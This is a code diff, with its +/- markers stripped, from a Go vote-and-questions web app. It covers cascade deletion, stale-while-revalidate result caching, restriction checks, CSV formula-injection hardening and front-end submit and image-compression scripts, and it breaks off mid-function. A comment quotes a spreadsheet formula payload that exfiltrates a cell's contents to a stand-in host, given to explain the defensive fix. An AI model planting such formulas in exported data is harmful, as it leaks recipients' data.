if err := db.VoteSubmissions.DeleteByVoteID(ctx.Request().Context(), vote.ID); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote submissions")
}
// 投票已删除:失效其结果缓存(即便竞态下仍能命中也已无意义)。
votepkg.InvalidateResultsCache(vote.ID)
if err := db.Votes.DeleteByID(ctx.Request().Context(), vote.ID); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote")
// 级联删除必须是一个事务:原来四步独立写入、前三步失败只打 Warn,
// 中途失败会留下「选项没了但投票记录还在」这种界面无法修复的状态 ——
// 而重试删除时投票已不存在,只能报 not exist,脏数据永远留着。
//
// 顺带修掉一个隐私问题:这些表都带软删除,原来的 Delete 全是软删,
// 提交记录里参与者填写的文本、voter_ip、voter_token 只是「界面上看不到」,
// 库里永久留着。DeleteWithCascade 对四张表统一走 Unscoped 真删。
if err := db.Votes.DeleteWithCascade(ctx.Request().Context(), vote.ID); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote with cascade")
ctx.SetInternalErrorFlash()
ctx.Redirect("/user/questions#votes")
return
}
// 删除成功后再失效缓存。放在事务之后是有意的:
// 若先删缓存而事务回滚,读请求会立刻重新算一遍并再次填进旧值。
votepkg.InvalidateResultsCache(vote.ID)
ctx.SetSuccessFlash(i18n.T(ctx.Lang(), "vote.flash.deleted"))
ctx.Redirect("/user/questions#votes")
}
@@ -1152,9 +1169,18 @@ func VoteResults(ctx context.Context) {
formFields, _ = db.VoteFormFields.ListByVoteID(ctx.Request().Context(), vote.ID)
// 短 TTL 缓存回复明细解析结果(逐条 json.Unmarshal 全部提交记录的 O(N) 开销)。
replyKey := strconv.FormatUint(uint64(vote.ID), 10)
// 带 ok 的断言:缓存里若混入别的类型,裸断言会直接 panic 掉整个结果页。
// 类型不符时丢弃该条缓存并走重建分支(所以不能用 else 接在外层 if 后)。
fromCache := false
if cached, ok := voteTextRepliesCache.Get(replyKey); ok {
textReplies = cached.(map[string][]textReplyView)
} else {
if parsed, isMap := cached.(map[string][]textReplyView); isMap {
textReplies = parsed
fromCache = true
} else {
voteTextRepliesCache.Delete(replyKey)
}
}
if !fromCache {
submissions, _ := db.VoteSubmissions.ListByVoteID(ctx.Request().Context(), vote.ID, nil)
for _, s := range submissions {
var data map[string]interface{}
@@ -1182,13 +1208,21 @@ func VoteResults(ctx context.Context) {
ctx.Success("user/vote-results")
}
// sanitizeCSVCell 防止 CSV 公式注入:以 = + - @ 开头的单元格会被 Excel/Numbers
// 当作公式执行,前置单引号强制按纯文本处理。
// sanitizeCSVCell 防 CSV 公式注入。
//
// Excel / LibreOffice / WPS 会把以 = + - @ 开头的单元格当公式执行,
// 于是「选项名」或「参与者填的文本」里写 =HYPERLINK("http://x?"&A1) 就能在
// 打开导出文件的人机器上把邻列内容外带出去。前置单引号会让它变成纯文本
// (CSV 里单引号不会显示出来,Excel 读到也不当公式)。
//
// 判断用 trim 后的首字符:带前导空格/制表符的 =SUM(1) 在部分表格软件里
// 仍会被解析成公式,只看第一个字节会漏。
func sanitizeCSVCell(s string) string {
if s == "" {
trimmed := strings.TrimLeft(s, " \t\r\n")
if trimmed == "" {
return s
}
r := []rune(s)[0]
r := []rune(trimmed)[0]
if r == '=' || r == '+' || r == '-' || r == '@' {
return "'" + s
}
@@ -1237,9 +1271,10 @@ func VoteExportCSV(ctx context.Context) {
if vote.Type == db.VoteTypeForm {
fields, _ := db.VoteFormFields.ListByVoteID(ctx.Request().Context(), vote.ID)
// 字段名是箱主自己填的,同样可能是 =HYPERLINK(...) 形式。
header := []string{"提交时间"}
for _, f := range fields {
header = append(header, f.Label)
header = append(header, sanitizeCSVCell(f.Label))
}
_ = w.Write(header)
@@ -1264,7 +1299,7 @@ func VoteExportCSV(ctx context.Context) {
switch res.Type {
case db.VoteTypeSingle, db.VoteTypeMultiple:
for _, o := range res.Options {
_ = w.Write([]string{o.Option.Content, strconv.FormatInt(o.Count, 10)})
_ = w.Write([]string{sanitizeCSVCell(o.Option.Content), strconv.FormatInt(o.Count, 10)})
}
case db.VoteTypeRating:
for _, r := range res.Ratings {
@@ -1273,7 +1308,7 @@ func VoteExportCSV(ctx context.Context) {
_ = w.Write([]string{"平均分", fmt.Sprintf("%.2f", res.AvgRating)})
case db.VoteTypeRank:
for _, r := range res.Rankings {
_ = w.Write([]string{r.Option.Content, fmt.Sprintf("%.2f", r.AvgRank)})
_ = w.Write([]string{sanitizeCSVCell(r.Option.Content), fmt.Sprintf("%.2f", r.AvgRank)})
}
_ = w.Write([]string{"平均排名", fmt.Sprintf("%.2f", res.AvgRank)})
}
+229
View File
@@ -0,0 +1,229 @@
// Copyright 2026 tamakyi. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package vote
import (
stdctx "context"
"encoding/json"
"strconv"
"sync"
"time"
"github.com/pkg/errors"
"github.com/sirupsen/logrus"
"github.com/tamakyi/TamaBox/internal/context"
"github.com/tamakyi/TamaBox/internal/db"
"github.com/tamakyi/TamaBox/internal/shared"
)
// resultsRefreshing 记录正在后台重算的投票 ID。值为 struct{},只用于占位去重。
//
// 用 sync.Map 而不是「mutex + map」:这是典型的多数读、少数写,且 TryLoadOrStore
// 一步完成「判重 + 占位」,不需要先查后写那种两步操作(那正是别处幂等缺陷的成因)。
var resultsRefreshing sync.Map
// resultsRefreshTimeout 单次后台重算的上限。
// 后台任务与请求生命周期解绑,但必须有自己的上限,否则一次全量聚合可能无限跑下去。
const resultsRefreshTimeout = 60 * time.Second
// LoadResults 返回投票的聚合统计,策略是 stale-while-revalidate。
//
// 改这里的原因:多选 / 评分 / 排序 / 表单的统计必须在 Go 层逐条 json.Unmarshal
// 全部提交记录(O(N),`ListByVoteID(…, nil)` 不设 LIMIT)。而 Submit 每来一票就
// InvalidateResultsCache,于是持续有人投票时:第 k 票触发一次 O(k) 重算,稳态是 O(N²)。
// 一万票的投票在有人投票期间每次刷新都要扫一万行 JSON,十万票直接把单请求拖到秒级。
//
// 现在改成:缓存过期后**先把旧值返回给调用方**,再在后台按投票去重地重算。
// 请求路径永远是 O(1),O(N) 被挪到后台,且同一投票同时只有一个重算任务。
// 代价是结果最多陈旧 resultsCacheTTL(30s)—— 与原有缓存口径一致,结果页本就非强一致。
func LoadResults(ctx context.Context, v *db.Vote) (*Results, error) {
cacheKey := strconv.FormatUint(uint64(v.ID), 10)
if val, expiresAt, ok := resultsCache.GetWithExpiry(cacheKey); ok {
res, isResults := val.(*Results)
if !isResults {
// 类型不符理论上不会发生(key 由本文件的代码独占写入),
// 但裸断言一旦不符就是 panic —— 丢掉重新算即可。
resultsCache.Delete(cacheKey)
} else {
if time.Now().After(expiresAt) {
scheduleResultsRefresh(v, cacheKey)
}
return res, nil
}
}
return computeResultsAndCache(ctx.Request().Context(), v, cacheKey)
}
// scheduleResultsRefresh 在「当前投票没有刷新任务」时启动一次后台重算。
//
// 注意这里刻意不引用调用方传进来的 *db.Vote:handler 可能在之后继续改写它,
// 后台 goroutine 持有同一个指针就是潜在的数据竞争。只拷贝重算真正需要的三个字段。
func scheduleResultsRefresh(v *db.Vote, cacheKey string) {
if _, loaded := resultsRefreshing.LoadOrStore(cacheKey, struct{}{}); loaded {
return // 已有任务在跑,避免并发重算把 CPU 打满
}
voteID := v.ID
voteType := v.Type
allowCustom := v.AllowCustom
shared.SafeGo(func() {
defer resultsRefreshing.Delete(cacheKey)
reqCtx, cancel := stdctx.WithTimeout(stdctx.Background(), resultsRefreshTimeout)
defer cancel()
probe := &db.Vote{}
probe.ID = voteID
probe.Type = voteType
probe.AllowCustom = allowCustom
res, err := computeResults(reqCtx, probe)
if err != nil {
logrus.WithContext(reqCtx).WithError(err).WithField("vote_id", voteID).
Warn("后台重算投票结果失败,继续沿用旧结果直到下次成功")
return
}
resultsCache.Set(cacheKey, res, resultsCacheTTL)
})
}
// computeResultsAndCache 同步重算并写回缓存(仅用于缓存完全无值的冷启动)。
func computeResultsAndCache(reqCtx stdctx.Context, v *db.Vote, cacheKey string) (*Results, error) {
res, err := computeResults(reqCtx, v)
if err != nil {
return nil, err
}
resultsCache.Set(cacheKey, res, resultsCacheTTL)
return res, nil
}
// computeResults 按投票类型聚合统计(原来的 LoadResults 函数体)。
//
// 只依赖标准库 context:后台刷新时没有 flamego 的 Context 可用。
func computeResults(reqCtx stdctx.Context, v *db.Vote) (*Results, error) {
res := &Results{Type: v.Type}
total, err := db.VoteSubmissions.CountByVoteID(reqCtx, v.ID)
if err != nil {
return nil, errors.Wrap(err, "count submissions")
}
res.Total = total
switch v.Type {
case db.VoteTypeSingle:
options, _ := db.VoteOptions.ListByVoteID(reqCtx, v.ID)
// 一次分组查询替代逐选项 COUNT(避免 N+1)
counts, err := db.VoteSubmissions.CountGroupByOptionID(reqCtx, v.ID)
if err != nil {
return nil, errors.Wrap(err, "count options")
}
for _, o := range options {
count := counts[o.ID]
percent := 0
if total > 0 {
percent = int(count * 100 / total)
}
res.Options = append(res.Options, &OptionStat{Option: o, Count: count, Percent: percent})
}
case db.VoteTypeMultiple:
options, _ := db.VoteOptions.ListByVoteID(reqCtx, v.ID)
counts := make(map[uint]int64, len(options))
submissions, _ := db.VoteSubmissions.ListByVoteID(reqCtx, v.ID, nil)
var totalSelections int64
for _, s := range submissions {
var data struct {
Options []uint `json:"options"`
}
_ = json.Unmarshal(s.FormData, &data)
seen := make(map[uint]struct{}, len(data.Options))
for _, id := range data.Options {
if _, exists := seen[id]; exists {
continue
}
seen[id] = struct{}{}
counts[id]++
totalSelections++
}
}
for _, o := range options {
count := counts[o.ID]
percent := 0
// 多选:百分比分母取"总勾选数"(各项相加≈100%,符合"票数分布"直觉);
// res.Total 仍是参与人数,用于"总参与"展示。
if totalSelections > 0 {
percent = int(count * 100 / totalSelections)
}
res.Options = append(res.Options, &OptionStat{Option: o, Count: count, Percent: percent})
}
case db.VoteTypeRating:
scoreCounts := make(map[int]int64)
var sum int64
submissions, _ := db.VoteSubmissions.ListByVoteID(reqCtx, v.ID, nil)
for _, s := range submissions {
var data struct {
Rating int `json:"rating"`
}
_ = json.Unmarshal(s.FormData, &data)
if data.Rating >= 1 && data.Rating <= 10 {
scoreCounts[data.Rating]++
sum += int64(data.Rating)
}
}
for score := 1; score <= 10; score++ {
res.Ratings = append(res.Ratings, &RatingStat{Score: score, Count: scoreCounts[score]})
}
if total > 0 {
res.AvgRating = float64(sum) / float64(total)
}
case db.VoteTypeRank:
options, _ := db.VoteOptions.ListByVoteID(reqCtx, v.ID)
rankSums := make(map[uint]float64, len(options))
rankCounts := make(map[uint]int64, len(options))
submissions, _ := db.VoteSubmissions.ListByVoteID(reqCtx, v.ID, nil)
for _, s := range submissions {
var data struct {
Ranking map[string]float64 `json:"ranking"`
}
_ = json.Unmarshal(s.FormData, &data)
for idStr, r := range data.Ranking {
id, _ := strconv.ParseUint(idStr, 10, 64)
rankSums[uint(id)] += r
rankCounts[uint(id)]++
}
}
for _, o := range options {
var avg float64
if rankCounts[o.ID] > 0 {
avg = rankSums[o.ID] / float64(rankCounts[o.ID])
}
res.Rankings = append(res.Rankings, &RankStat{Option: o, AvgRank: avg})
}
var rankSum float64
for _, r := range res.Rankings {
rankSum += r.AvgRank
}
if len(res.Rankings) > 0 {
res.AvgRank = rankSum / float64(len(res.Rankings))
}
case db.VoteTypeForm:
res.FormFields, _ = db.VoteFormFields.ListByVoteID(reqCtx, v.ID)
res.FormCount = total
res.FormFieldStats = aggregateFormFieldStats(reqCtx, res.FormFields)
}
// 自定义补充选项聚合(single/multiple/rank 且开启 AllowCustom;评分/表单不适用)
if v.AllowCustom && (v.Type == db.VoteTypeSingle || v.Type == db.VoteTypeMultiple || v.Type == db.VoteTypeRank) {
res.CustomStats = aggregateCustomStats(reqCtx, v)
}
return res, nil
}
+51 -140
View File
@@ -72,6 +72,16 @@ func InvalidateResultsCache(voteID uint) {
resultsCache.Delete(strconv.FormatUint(uint64(voteID), 10))
}
// ExpireResultsCache 把某投票的结果缓存标记为过期,但保留旧值。
//
// 投票提交用这个,不用 InvalidateResultsCache:后者会把缓存删光,
// 于是每一票都让下一个读请求同步重算一次全量聚合(O(N)),
// 持续有人投票时就是 O(N²)。标记过期后,下一个读请求先拿到旧值,
// 再由后台按投票去重地重算。
func ExpireResultsCache(voteID uint) {
resultsCache.Expire(strconv.FormatUint(uint64(voteID), 10))
}
// censorCheck 对开放文本做内容审核。
//
// 与提问 / 私聊共用同一个守卫(internal/security/moderation.Check):是否拦截由
@@ -252,147 +262,17 @@ type Results struct {
FormFieldStats []*FormFieldStat // form:各字段聚合统计(混合问卷)
}
// LoadResults 按投票类型聚合统计(参与端结果页与管理后台结果页共用)。
func LoadResults(ctx context.Context, v *db.Vote) (*Results, error) {
// 短 TTL 缓存:避免每次请求都逐条 json.Unmarshal 全部提交记录(O(N) 重算)。
cacheKey := strconv.FormatUint(uint64(v.ID), 10)
if cached, ok := resultsCache.Get(cacheKey); ok {
return cached.(*Results), nil
}
res := &Results{Type: v.Type}
total, err := db.VoteSubmissions.CountByVoteID(ctx.Request().Context(), v.ID)
if err != nil {
return nil, errors.Wrap(err, "count submissions")
}
res.Total = total
switch v.Type {
case db.VoteTypeSingle:
options, _ := db.VoteOptions.ListByVoteID(ctx.Request().Context(), v.ID)
// 一次分组查询替代逐选项 COUNT(避免 N+1)
counts, err := db.VoteSubmissions.CountGroupByOptionID(ctx.Request().Context(), v.ID)
if err != nil {
return nil, errors.Wrap(err, "count options")
}
for _, o := range options {
count := counts[o.ID]
percent := 0
if total > 0 {
percent = int(count * 100 / total)
}
res.Options = append(res.Options, &OptionStat{Option: o, Count: count, Percent: percent})
}
case db.VoteTypeMultiple:
options, _ := db.VoteOptions.ListByVoteID(ctx.Request().Context(), v.ID)
counts := make(map[uint]int64, len(options))
submissions, _ := db.VoteSubmissions.ListByVoteID(ctx.Request().Context(), v.ID, nil)
var totalSelections int64
for _, s := range submissions {
var data struct {
Options []uint `json:"options"`
}
_ = json.Unmarshal(s.FormData, &data)
seen := make(map[uint]struct{}, len(data.Options))
for _, id := range data.Options {
if _, exists := seen[id]; exists {
continue
}
seen[id] = struct{}{}
counts[id]++
totalSelections++
}
}
for _, o := range options {
count := counts[o.ID]
percent := 0
// 多选:百分比分母取"总勾选数"(各项相加≈100%,符合"票数分布"直觉);
// res.Total 仍是参与人数,用于"总参与"展示。
if totalSelections > 0 {
percent = int(count * 100 / totalSelections)
}
res.Options = append(res.Options, &OptionStat{Option: o, Count: count, Percent: percent})
}
case db.VoteTypeRating:
scoreCounts := make(map[int]int64)
var sum int64
submissions, _ := db.VoteSubmissions.ListByVoteID(ctx.Request().Context(), v.ID, nil)
for _, s := range submissions {
var data struct {
Rating int `json:"rating"`
}
_ = json.Unmarshal(s.FormData, &data)
if data.Rating >= 1 && data.Rating <= 10 {
scoreCounts[data.Rating]++
sum += int64(data.Rating)
}
}
for score := 1; score <= 10; score++ {
res.Ratings = append(res.Ratings, &RatingStat{Score: score, Count: scoreCounts[score]})
}
if total > 0 {
res.AvgRating = float64(sum) / float64(total)
}
case db.VoteTypeRank:
options, _ := db.VoteOptions.ListByVoteID(ctx.Request().Context(), v.ID)
rankSums := make(map[uint]float64, len(options))
rankCounts := make(map[uint]int64, len(options))
submissions, _ := db.VoteSubmissions.ListByVoteID(ctx.Request().Context(), v.ID, nil)
for _, s := range submissions {
var data struct {
Ranking map[string]float64 `json:"ranking"`
}
_ = json.Unmarshal(s.FormData, &data)
for idStr, r := range data.Ranking {
id, _ := strconv.ParseUint(idStr, 10, 64)
rankSums[uint(id)] += r
rankCounts[uint(id)]++
}
}
for _, o := range options {
var avg float64
if rankCounts[o.ID] > 0 {
avg = rankSums[o.ID] / float64(rankCounts[o.ID])
}
res.Rankings = append(res.Rankings, &RankStat{Option: o, AvgRank: avg})
}
var rankSum float64
for _, r := range res.Rankings {
rankSum += r.AvgRank
}
if len(res.Rankings) > 0 {
res.AvgRank = rankSum / float64(len(res.Rankings))
}
case db.VoteTypeForm:
res.FormFields, _ = db.VoteFormFields.ListByVoteID(ctx.Request().Context(), v.ID)
res.FormCount = total
res.FormFieldStats = aggregateFormFieldStats(ctx, res.FormFields)
}
// 自定义补充选项聚合(single/multiple/rank 且开启 AllowCustom;评分/表单不适用)
if v.AllowCustom && (v.Type == db.VoteTypeSingle || v.Type == db.VoteTypeMultiple || v.Type == db.VoteTypeRank) {
res.CustomStats = aggregateCustomStats(ctx, v)
}
resultsCache.Set(cacheKey, res, resultsCacheTTL)
return res, nil
}
// aggregateFormFieldStats 统计表单投票(混合问卷)各字段的聚合结果:
// radio/select/checkbox → 选项票数;rating → 分布 + 平均分;rank → 各选项被排次数 + 平均排名;
// number → 平均值;text/textarea → 填写数(内容不聚合展示,保护隐私)。
func aggregateFormFieldStats(ctx context.Context, fields []*db.VoteFormField) []*FormFieldStat {
func aggregateFormFieldStats(reqCtx stdctx.Context, fields []*db.VoteFormField) []*FormFieldStat {
if len(fields) == 0 {
return nil
}
// 必须加载全部提交记录:radio/select/checkbox/rating/rank/number 等字段的统计
// 同样依赖 submissions,不能只在存在 text/textarea 字段时才加载。
// 否则无文本字段的表单投票结果页会全部显示为 0(缺陷)。
submissions, _ := db.VoteSubmissions.ListByVoteID(ctx.Request().Context(), fields[0].VoteID, nil)
submissions, _ := db.VoteSubmissions.ListByVoteID(reqCtx, fields[0].VoteID, nil)
return aggregateFormFieldStatsWithSubs(fields, submissions)
}
@@ -566,8 +446,8 @@ func addCustomStat(stats []CustomStat, text string) []CustomStat {
}
// aggregateCustomStats 统计自定义补充选项(按文本去重计数,保持首现顺序)。
func aggregateCustomStats(ctx context.Context, v *db.Vote) []CustomStat {
submissions, err := db.VoteSubmissions.ListByVoteID(ctx.Request().Context(), v.ID, nil)
func aggregateCustomStats(reqCtx stdctx.Context, v *db.Vote) []CustomStat {
submissions, err := db.VoteSubmissions.ListByVoteID(reqCtx, v.ID, nil)
if err != nil {
return nil
}
@@ -607,6 +487,18 @@ func Page(ctx context.Context) {
return
}
// 站方处置 L4:整页停止对外访问(数据保留)。
// 与提问箱主页同一口径:此前投票链路完全不查处置,
// 于是 L4 后 /_/domain 已跳 /restricted,/vote/{token} 却照常可访。
// 查询失败不拦(fail-open):DB 异常时整站都不正常,
// 这里再 fail-closed 只会让所有投票一起白屏。
if level, _, err := db.Restrictions.ActiveLevel(ctx.Request().Context(), vote.UserID); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to query vote owner restriction")
} else if level == db.RestrictionL4 {
ctx.Redirect("/restricted")
return
}
now := time.Now()
isOwner := ctx.IsLogged && ctx.User.ID == vote.UserID
@@ -703,6 +595,16 @@ func Submit(ctx context.Context, recaptcha recaptcha.RecaptchaV3) {
return
}
// 站方处置 L4:与 Page 同一口径。
// 页面进不去不代表 POST 也拦得住——直接构造请求可以绕过页面。
if level, _, err := db.Restrictions.ActiveLevel(ctx.Request().Context(), vote.UserID); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to query vote owner restriction")
} else if level == db.RestrictionL4 {
ctx.SetErrorFlash(i18n.T(ctxLang(ctx), "vote.flash.notFound"))
ctx.Redirect("/")
return
}
// 发布者的语言与主题:提交成功/失败都回跳投票页,提示文案必须与页面语言一致。
owner, err := db.Users.GetByID(ctx.Request().Context(), vote.UserID)
if err != nil {
@@ -715,7 +617,14 @@ func Submit(ctx context.Context, recaptcha recaptcha.RecaptchaV3) {
lang := ctxLang(ctx)
// 箱主关闭投票功能(开关 / 定时 / 定量)时拒绝参与,避免绕过页面上的禁用态直接 POST。
if voteState := db.FeatureStateOf(ctx.Request().Context(), vote.UserID, db.FeatureVote); !voteState.Open {
// 严格版:读配置失败时拒绝,避免「箱主已关闭投票 / 已达上限」被一次配置读失败绕过去。
voteState, err := db.FeatureStateOfStrict(ctx.Request().Context(), vote.UserID, db.FeatureVote)
if err != nil {
ctx.SetErrorFlash(i18n.T(lang, "feature.stateUnavailable"))
ctx.Redirect("/vote/" + vote.LinkToken)
return
}
if !voteState.Open {
ctx.SetErrorFlash(i18n.FeatureClosedMessage(lang, db.FeatureVote, voteState.Reason))
ctx.Redirect("/vote/" + vote.LinkToken)
return
@@ -809,6 +718,8 @@ func Submit(ctx context.Context, recaptcha recaptcha.RecaptchaV3) {
}
submission.VoterToken = voterToken
// QuotaUserID 让「票数计入箱主的定量收集」与提交本身落在同一个事务里。
submission.QuotaUserID = vote.UserID
if _, err := db.VoteSubmissions.Create(ctx.Request().Context(), *submission); err != nil {
if errors.Is(err, db.ErrVoteAlreadyVoted) {
ctx.SetErrorFlash(i18n.T(lang, "vote.page.alreadyVoted"))
@@ -822,12 +733,12 @@ func Submit(ctx context.Context, recaptcha recaptcha.RecaptchaV3) {
// 写穿式失效:新提交成功后立即清除该投票的结果缓存,
// 避免结果页在 TTL 内显示陈旧计数,并把 O(N) 重算成本收敛到"每次新投票一次"。
InvalidateResultsCache(vote.ID)
// 标记过期而不删除:下一个读请求会先拿到旧值,再由后台重算。
// 用 InvalidateResultsCache 会让每一票都变成下一个读请求的同步全量重算(O(N²))。
ExpireResultsCache(vote.ID)
// 定量收集:箱主级累计一份;单份投票设置上限后达到即自动结束该投票。
if err := db.FeatureControls.IncrementQuota(ctx.Request().Context(), vote.UserID, db.FeatureVote, 1); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Warn("Failed to increment vote feature quota")
}
// 单份投票的份数上限:达到即自动结束该投票。
// (箱主级的累计计数已由 VoteSubmissions.Create 在同一事务里 +1,这里不再重复)
if vote.QuotaLimit > 0 {
count, err := db.VoteSubmissions.CountByVoteID(ctx.Request().Context(), vote.ID)
if err != nil {
+5 -1
View File
@@ -854,6 +854,10 @@ a.tb-chip:hover {
}
/* 给页面底部预留空间,避免页脚内容被固定底栏遮挡 */
body {
padding-bottom: 56px;
/* 必须加上 safe-area-inset-bottom:底栏自身的 padding 已经包含了它,
而 body 只预留了固定的 56px。带 Home Indicator 的 iPhone 上 inset 约 34px,
底栏实际高度约 88px —— 最后约 32px 内容(页脚备案、存活计时)会被压在栏下,
滚到底也看不到。 */
padding-bottom: calc(56px + env(safe-area-inset-bottom));
}
}
+230 -24
View File
@@ -62,6 +62,49 @@
});
}
// tbBeginSubmit 把表单切到「提交中」状态:触发按钮换成 spinner + 本地化文案,
// 并禁用表单内所有按钮。
//
// 抽成具名函数(而不是内联在下面的事件监听里)是因为 **程序化 submit() 不触发
// submit 事件**:走 reCAPTCHA / Turnstile 的流程是在回调里调 form.submit() 的,
// 原本完全绕过下面那个监听器 —— 而默认部署 captcha_type = recaptcha,
// 也就是主提问流一直没有防重复点击保护。那些回调现在先调本函数再 submit()。
function tbBeginSubmit(form, trigger) {
if (!form) return;
// 下载 / 新窗口类表单(target="_blank",如导出):当前页不发生导航,也没有 bfcache
// 复位机会,进入“提交中”状态后按钮会永远卡在转圈 + 禁用。这类表单直接跳过提交反馈。
if (form.getAttribute('target') === '_blank') return;
// 触发提交的按钮(programmatic submit 时调用方传 null,回退到首个 submit 按钮)
var btn = trigger || form.querySelector('button[type="submit"]');
// 表单含已选中的文件 → 提示“上传中”,否则“提交中”
var hasFile = false;
form.querySelectorAll('input[type="file"]').forEach(function(f) {
if (f.files && f.files.length > 0) hasFile = true;
});
var label = hasFile ? SUBMIT_I18N.uploading : SUBMIT_I18N.submitting;
if (btn && btn.tagName === 'BUTTON') {
// 已经切过一次就不再覆盖 data-tb-restore,否则会把 spinner 的 HTML 当成原始内容,
// 导致 bfcache 复位后按钮永远停在转圈上。
if (!btn.hasAttribute('data-tb-restore')) {
btn.setAttribute('data-tb-restore', btn.innerHTML);
}
btn.innerHTML = '<span uk-spinner="ratio: 0.6"></span> ' + label;
}
// 禁用表单内所有按钮,防止重复提交
form.querySelectorAll('button').forEach(function(b) {
b.disabled = true;
b.setAttribute('data-tb-submitting', '1');
});
}
// 挂到 window 上供 header 里的验证码回调调用(脚本顺序:header → footer,
// 但回调发生在用户点击之后,此时本函数已定义)
window.tbBeginSubmit = tbBeginSubmit;
document.addEventListener('submit', function(e) {
var form = e.target;
if (!form || form.tagName !== 'FORM') return;
@@ -73,34 +116,197 @@
return;
}
// 下载 / 新窗口类表单(target="_blank",如导出):当前页不发生导航,也没有 bfcache
// 复位机会,进入“提交中”状态后按钮会永远卡在转圈 + 禁用。这类表单直接跳过提交反馈。
if (form.getAttribute('target') === '_blank') return;
// 触发提交的按钮(programmatic submit 时 e.submitter 为 null,回退到首个 submit 按钮)
var trigger = e.submitter || form.querySelector('button[type="submit"]');
// 表单含已选中的文件 → 提示“上传中”,否则“提交中”
var hasFile = false;
form.querySelectorAll('input[type="file"]').forEach(function(f) {
if (f.files && f.files.length > 0) hasFile = true;
});
var label = hasFile ? SUBMIT_I18N.uploading : SUBMIT_I18N.submitting;
if (trigger && trigger.tagName === 'BUTTON') {
trigger.setAttribute('data-tb-restore', trigger.innerHTML);
trigger.innerHTML = '<span uk-spinner="ratio: 0.6"></span> ' + label;
}
// 禁用表单内所有按钮,防止重复提交
form.querySelectorAll('button').forEach(function(b) {
b.disabled = true;
b.setAttribute('data-tb-submitting', '1');
});
tbBeginSubmit(form, e.submitter);
});
// bfcache 还原时复位按钮
window.addEventListener('pageshow', tbResetSubmitButtons);
</script>
<script>
// 图片前端压缩:选图后先在浏览器里把大图缩到服务端的上限,再随表单上传。
//
// 为什么值得做:服务端已经把静态图转 WebP 并把长边限到 1600(storage.GeneralEncodeSpec),
// 但**上传这一跳是先发生的** —— 手机拍的 4~8MB 照片要先原样传完,才能被服务端缩小。
// 于是出现两个真实问题:
// 1. 超过 form.MaxRequestBodySize / 服务端 5MB 校验的图直接被拒,用户写好的正文一起丢;
// 2. 移动网络上行为 1~2 Mbps,传一张 6MB 图要 30 秒以上,期间页面只能干等。
// 前端先缩到 1600 长边、质量 0.8(与服务端同一档),一张手机照片通常降到 200~400KB,
// 上传时间从几十秒变成一两秒,且不再触碰体积上限。
//
// 三条安全边界(都不能省,否则会「压缩」出比原图更差的结果):
// - GIF 与 SVG 直接跳过:canvas 会把 GIF 画成静止首帧、把 SVG 栅格化;
// - 压完不比原图小就退回原图:已经优化过的小图重编码反而更大;
// - PNG 的透明通道保留:优先输出 WebP(支持 alpha),浏览器不支持 WebP 编码时
// 用 PNG 而不是 JPEG(JPEG 会把透明变成黑底)。
(function () {
var MAX_SIDE = 1600; // 与服务端 GeneralEncodeSpec.MaxSide 对齐
var QUALITY = 0.8; // 与服务端 Quality 对齐
var MIN_BYTES = 300 * 1024; // 小于这个体积重编码收益有限,直接放行
var MIN_SAVING = 0.85; // 压完不到原体积 85% 就不采用
// 每个 input 最近的压缩任务,供 submit 前等待。
var pending = new WeakMap();
var webpOK = null;
function supportsWebP() {
if (webpOK !== null) return webpOK;
try {
var c = document.createElement('canvas');
c.width = c.height = 1;
webpOK = c.toDataURL('image/webp').indexOf('data:image/webp') === 0;
} catch (e) {
webpOK = false;
}
return webpOK;
}
function isCompressible(file) {
if (!file || !file.type) return false;
// GIF(可能动图)与 SVG(矢量)不能用 canvas 重编码
if (file.type === 'image/gif' || file.type === 'image/svg+xml') return false;
if (file.type.indexOf('image/') !== 0) return false;
return file.size > MIN_BYTES;
}
function loadBitmap(file) {
if (self.createImageBitmap) {
// imageOrientation: 'from-image' 让手机竖拍照片按 EXIF 摆正;
// 老浏览器不认这个选项会抛错,退回不带选项的调用。
return createImageBitmap(file, { imageOrientation: 'from-image' })
.catch(function () { return createImageBitmap(file); });
}
return new Promise(function (resolve, reject) {
var img = new Image();
var url = URL.createObjectURL(file);
img.onload = function () { URL.revokeObjectURL(url); resolve(img); };
img.onerror = function () { URL.revokeObjectURL(url); reject(new Error('decode failed')); };
img.src = url;
});
}
function toBlob(canvas, type, quality) {
return new Promise(function (resolve) { canvas.toBlob(resolve, type, quality); });
}
function reencode(file) {
return loadBitmap(file).then(function (bmp) {
var w = bmp.width, h = bmp.height;
if (!w || !h) throw new Error('empty image');
var scale = Math.min(1, MAX_SIDE / Math.max(w, h));
var tw = Math.max(1, Math.round(w * scale));
var th = Math.max(1, Math.round(h * scale));
// PNG 走 WebP(两者都支持透明);不支持 WebP 编码时宁可继续用 PNG,
// 也不要转成 JPEG —— 透明区域会变成黑块。
var transparentCapable = file.type === 'image/png';
var target = 'image/jpeg';
if (supportsWebP()) {
target = 'image/webp';
} else if (transparentCapable) {
target = 'image/png';
}
var canvas = document.createElement('canvas');
canvas.width = tw;
canvas.height = th;
var ctx = canvas.getContext('2d');
if (!ctx) throw new Error('no 2d context');
if (target === 'image/jpeg') {
// JPEG 没有 alpha:先铺白底,否则透明部分变黑。
ctx.fillStyle = '#fff';
ctx.fillRect(0, 0, tw, th);
}
ctx.imageSmoothingEnabled = true;
ctx.imageSmoothingQuality = 'high';
ctx.drawImage(bmp, 0, 0, tw, th);
if (bmp.close) bmp.close();
return toBlob(canvas, target, QUALITY);
}).then(function (blob) {
if (!blob || blob.size >= file.size * MIN_SAVING) return file;
// 文件名保持不变:FormData 里的文件名只用于展示与日志,
// 服务端按文件头嗅探真实格式(image.DecodeConfig),不看扩展名。
return new File([blob], file.name, { type: blob.type, lastModified: Date.now() });
}).catch(function () {
// 任何一步失败(不支持、内存不足、编码器缺失)都退回原图,绝不阻断提交。
return file;
});
}
function swap(input, file) {
try {
var dt = new DataTransfer();
dt.items.add(file);
input.files = dt.files;
return true;
} catch (e) {
// 老浏览器不支持对 input.files 赋值:放弃替换,按原图提交。
return false;
}
}
function bind(input) {
if (input.dataset.tbImgBound === '1') return;
input.dataset.tbImgBound = '1';
input.addEventListener('change', function () {
var file = input.files && input.files[0];
if (!isCompressible(file)) {
